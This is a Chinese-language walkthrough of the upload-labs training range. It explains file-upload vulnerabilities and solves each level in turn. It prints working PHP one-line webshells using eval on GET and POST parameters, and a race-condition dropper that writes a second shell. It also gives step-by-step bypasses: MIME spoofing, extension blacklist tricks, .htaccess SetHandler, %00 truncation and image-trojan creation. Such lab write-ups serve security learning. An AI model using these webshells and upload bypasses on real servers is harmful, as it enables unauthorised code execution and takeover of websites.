文章目录
- 文件上传
- 原理
- 实验环境
- 帮助
- 关卡
- pass1:前端JS后缀验证(白名单验证)
- passe2:文件类型验证(白名单验证)
- pass3:后缀黑名单限制
- pass4:.htaccess绕过
- pass5:大写后缀名绕过(黑名单)
- pass6:后缀名+空格绕过(黑名单)
- pass7:后缀加`.`绕过(黑名单)
- pass8:基于windows的定式通过在后缀加入`::$DATA`绕过
- pass9:组合型后缀名绕过(dot+space+dot)
- pass10:后缀复写绕过
- pass11:get型%00截断绕过(白名单)
- pass12:post型00截断绕过(白名单)
- pass13:图片马绕过
- pass14:getimagesize()-图片马
- pass15:exif_imagetype()-图片马
- pass17:条件竞争
文件上传
原理
-
文件上传漏洞[一般以上传文件为嗪头,进行伪装攻击]
windows IIS+ASP做动态网站 -
文件上传漏洞的原理:
a、通过伪装成正常文件上传,并获得合法的格式通过后实现后端server的执行
前端:js
后端:动态语言解析[php、.net、asp、JSP]
b、攻击者可以上传一个网站的脚本语言相对的恶意代码[apache、nginx、tomcat等等它的 漏洞]
-
文件上传需要满足的条件
a、server端是否开后正常的上传功能
b、已知上传文件的路径[在服务端伪装文件存放的路径]
c、如何使得server端无法发现[伪装的过程],上传文件可以被server端接收
d、上传文件被执行
-
数据包分析
- 后缀名
白名带
黑名单 - 文件类型
content-type 格式 text/html HTML格式 text/plain 纯文本格式 text/xml XML格式 image/gif gif图片格式 image/jpeg jpg/jpeg图片格式 image/png png图片格式 application/octet-stream 二进制流数据(常见的文件下载) application/msword Word文档格式 text/javascript JS格式 - 后缀名
实验环境
-
实验
基于WAMP[Windows Apache、MySQL、PHP]
基于wamp靶场->通过文件上传去获取相应的权限
upload-labs
20种文件上传的漏洞做的模拟环境
-
软件
phpstudy
Burpsuite
upload-labs
-
一句话木马
<?php eval($_GET['tom']); ?> 或 <?php eval($_POST['tom']; ?>
帮助
pass1
前端的后缀限制
pass2
文件类型验证
pass3
基于文件后缀名(.php3、.php4…)
扩展名绕过
pass4
考察:检查黑名单[利用apache的漏洞] -> rewrite模块[允许、禁止功能]
.htaccess
将safe.txt文件重命名为:.htaccess文件
.htaccess文件用于存储:
验证登陆的用户名和密码
htpasswd -c -m NAME PASSWORD
Order allow,deny //定义执行顺序[先允许后拒绝]
Allow from all //允许所有用户
Require all granted //允许所有授权用户[合法的ip、授权用户]
如何将一个新建文件及后缀名改为.htaccess
添加内容:
SetHandler application/x-httpd-php
//将后续上传的文件不管任何后缀名都按照php进行执行
获取帮助信息:
> help rename
C:\Users\Laohigh\Desktop>rename safe.txt .htaccess
htpasswd -c -m NAME PASSWORD
Order allow,deny //定义执行顺序[先允许后拒绝]
Allow from all //允许所有用户
Require all granted //允许所有授权用户[合法的ip、授权用户]
如何将一个新建文件及后缀名改为.htaccess
添加内容:
SetHandler application/x-httpd-php
//将后续上传的文件不管任何后缀名都按照php进行执行
获取帮助信息:
将safe.txt文件重命名为.htaccess
若在攻击时,上传文件出现此类报错:
Forbidden
You don’t have permission to access /upload-labs/upload/.htaccess on this server.
并不是说文件没有被执行,而是执行了当前文件;但是不具有执行权限问题
pass5
通过代码观察是否存在大、小写后缀名的限制
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
//基于黑名单进行过滤,本地查看没法过滤纯大写
此关卡,考察的是后缀名进行大写上传
注意:若在执行一句话木马后,需要再次执行php语句,建议一句话木马使用_GET方式获取密码
pass6
在后缀名中是否能将muma.php的文件修改为muma.php+空格;进行上传测试
通过源代码识别是否能够跳过’空格’,在后缀名中加入空格字符
http://192.168.222.132/upload-labs/upload/202007230326408197.php?tom=phpinfo();
pass7
代码解释
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); //定义黑名单
$file_name = trim($_FILES['upload_file']['name']); //获取上传的文件名
$file_ext = strrchr($file_name, '.'); //不允许在后端加入任意单个字符
$file_ext = strtoupper($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
实现在后缀名上进行 + .,进行绕过
pass8
基于windows的定式通过在后缀名加入::$DATA,实现将当前文件不会进行黑、白名单检测
注意:此种方法仅仅针对windows平台+php语言的站点才有效
filename + ::$DATA
::$DATA代表什么意思:将文件转换为windows的文件流形式
可能做的防护策略:
公网ip是经过nat了
采用了端口映射:80 -> 12345
8080 -> tomcat
ASF:apache software foundaration
flash player
apache
tomcat
…
“…”:双引号代表不会替换引号内的内容[弱引用]
‘…’:会强制替换引号内的内容[强引用]
`…`:命令引用
pass9
组合型后缀名绕过:
filename + dot + space + dot
pass10
根据源代码得知黑名单中没有复写,可以使用复写进行绕过
将filename.php修改为filename.pphphp
pass11
文件上传:00截断绕过原理
了解%00实际上我们要先了解0x00,0x00实际上是一个十六进制表示方式,实际上就是表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了
如果遇到白名单验证强制后缀名为.jpg
假如我写了1.php%00.jpg 传参之后,有些过滤都是直接匹配字符串,他强行匹配到了结尾是.jpg,然后允许上传,但是php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了1.php
%00实际上和00截断是样的原理,只不过%00是经过URL编码的,%00解码后就是0x00截断的那个字符
使用%00截断绕过:
报错:
Not Found
The requested URL /upload-labs/upload/muma.php�/1320200723154528.jpg was not found on this server.
前提条件:
php version < 5.3.4且php的参数magic_quotes_gpc必须关闭
通过BP将save_path=…/upload/ HTTP/1.1使用%00进行截断
-> save_path=…/upload/filename.php%00 HTTP/1.1
pass12
利用%00进行截断
利用ASCII:American Standard Code Information Inexchange[美国标准信息码交换]
首先编辑一个.php文件,将其上传的同时修改后缀名为.jpg,文件类型修改为:image/jpeg
使用%00进行截断 -> …/upload/a.php+
注意:此处请参见ASCII码对应的特殊符号的字符编码,比如此处使用+代表’2b’或者a代表空格。
Not Found
The requested URL /upload-labs/upload/a.php�/1220200723160736.jpg was not found on this server.
关卡
pass1:前端JS后缀验证(白名单验证)
上传一个jpeg图片,发现弹窗提示,不让上传该类型文件,只允许.jpg|.png|.gif
猜测前端含有后缀验证
验证后缀验证是否在前端
上传一个木马文件验证muma.php
,上传一个非允许后缀文件
<?php
eval($_GET['guai']);
?>
打开浏览器代理,及burpsuite抓包
(关于burpsuite的使用,建议网上搜索,文档指导:BurpSuite 实战指南)
没有抓到包,由此证明后缀验证在前端,若抓到包则验证在后端(因为文件上传后若在后端验证会有数据包返回)
-
方法一:使用burpsuite,后面也是基于burpsuite工具进行闯关
-
修改
muma.php
后缀,为muma.jpg
-
打开代理,开启抓包,上传文件
-
修改抓包内容如下,设置好后放行抓包
-
- 浏览器显示如下
- 邮件复制图片地址,新窗口打开
- 地址栏即可实现webshell
-
方法二:修改前端页面
-
浏览器按F12,打开
-
开发者工具,查找以下信息
-
-
将
onsubmit="return checkFile()"
删掉,回车 -
上传
muma.php
文件 -
见方法一步骤4、5、6
passe2:文件类型验证(白名单验证)
-
方法一
-
上传
muma.php
-
浏览器开代理,开启抓包
-
修改·为:
image/jpeg
,抓包放行
-
- 同pass1-方法一-4、5、6
- 方法二
- 上传
muma.jpg
- 浏览器开代理,开启抓包
- 修改文件后缀为
muma.php
- 同pass1-方法一-4、5、6
- 上传
pass3:后缀黑名单限制
-
编写
muma_post.php
木马,采用post形式<?php @eval($_POST['guai']); ?>
-
上传、抓包、改包
修改文件后缀为php4(2、3、4、5都可以或者phtml)
- 复制图片地址,使用菜刀工具连接
扩展名绕过:
- asp:asa、cer、cdx
- aspx:ashx、asmx、ascx
- php:php3、phtml
- jsp:jspx、jspf
pass4:.htaccess绕过
-
创建
.htaccess
文件,并编写内容SetHandler application/x-httpd-php AddType application/x-httpd-php .jpg
-
上传文件,复制图片地址查看
-
文件并不是没有执行,而是执行了没有权限
-
编写
muma_get.php
,修改后缀为.jpg
<?php @eval($_GET['guai']); //@:表示代码运行错误不提示 ?>
-
上传
muma_get.jpg
-
同pass1-方法一-4、5、6
pass5:大写后缀名绕过(黑名单)
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.PHP
- 同pass1-方法一-4、5、6
pass6:后缀名+空格绕过(黑名单)
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.php+空格
- 同pass1-方法一-4、5、6
pass7:后缀加.
绕过(黑名单)
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.php+.
- 同pass1-方法一-4、5、6
pass8:基于windows的定式通过在后缀加入::$DATA
绕过
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.php+::$DATA
- 同pass1-方法一-4、5、6(但要注意的是在地址栏输入地址的时候要将
::$DATA
去掉)
pass9:组合型后缀名绕过(dot+space+dot)
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.php. .
- 同pass1-方法一-4、5、6
pass10:后缀复写绕过
-
上传
muma_get.php
-
抓包修改后缀为
muma_get.pphphp
- 同pass1-方法一-4、5、6
pass11:get型%00截断绕过(白名单)
前面讲了%00截断,然后我们现在看题目,他会自动重命名,这是个头疼的问题,我们该如何解决
这里很明显使用了直接的拼接,然而我们对$_GET[‘save_path’]却没有任何检测,那么我们是可以构建的然后再%00,岂不是就可以绕过了。get提交1.php%00然后是不是最后就输出了1.php
magic_quotes_gpc 为Off
pass12:post型00截断绕过(白名单)
这个东西和第一题很像,无非就是变成了POST方式提交save_path,问题在于POST方式我们用%00却失效了,这是因为POST传参并不会URL解码,所以需要我们该Hex改为00
pass13:图片马绕过
图片马制作(cmd下):copy con_1.jpg/b + muma_post.php/a shell.jpg
此关需要结合文件包含使用,使用post或get形式制作图片马没有成功,所以制作“静态"的图片马文件
本关图片马制作:copy con_1.jpg/b + phpinfo.php/a pic_info.jpg
上传后地址访问:http://192.168.100.141/upload-labs/include.php?file=upload/3920200818193402.jpg
效果:
pass14:getimagesize()-图片马
这关是用getimagesize函数判断文件类型,还是可以图片马绕过,方法同pass-13
pass15:exif_imagetype()-图片马
这关用到php_exif模块来判断文件类型,用图片马绕过,方法同pass-13
pass17:条件竞争
原因:后端文件没有进行严格的加锁设置,导致可以多用户同时访问一个文件
原理:php木马文件上传后端后,根据策略对文件审查,审查为php文件则进行移除,而当其审查之时我们访问php木马,造成文件竞争,进而php文件执行自身代码,创建其中命令
木马文件(jingzheng.php):
<?php $a = '<?php @eval($_POST[\'a\'])?>';file_put_contents('1.php',$a)?>
步骤:
1.打开burpsuit,抓取上传php文件的包及访问jingzheng.php(http://192.168.100.141/upload-labs/upload/jingzheng.php
)的包
2.分别发送至intruder模块,设置相应操作 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a4Xox6BS-1597998704711)(upload.assets/image-20200818185630368.png)]
3.开启start attack,查看虚拟机内upload文件夹是否产生1.php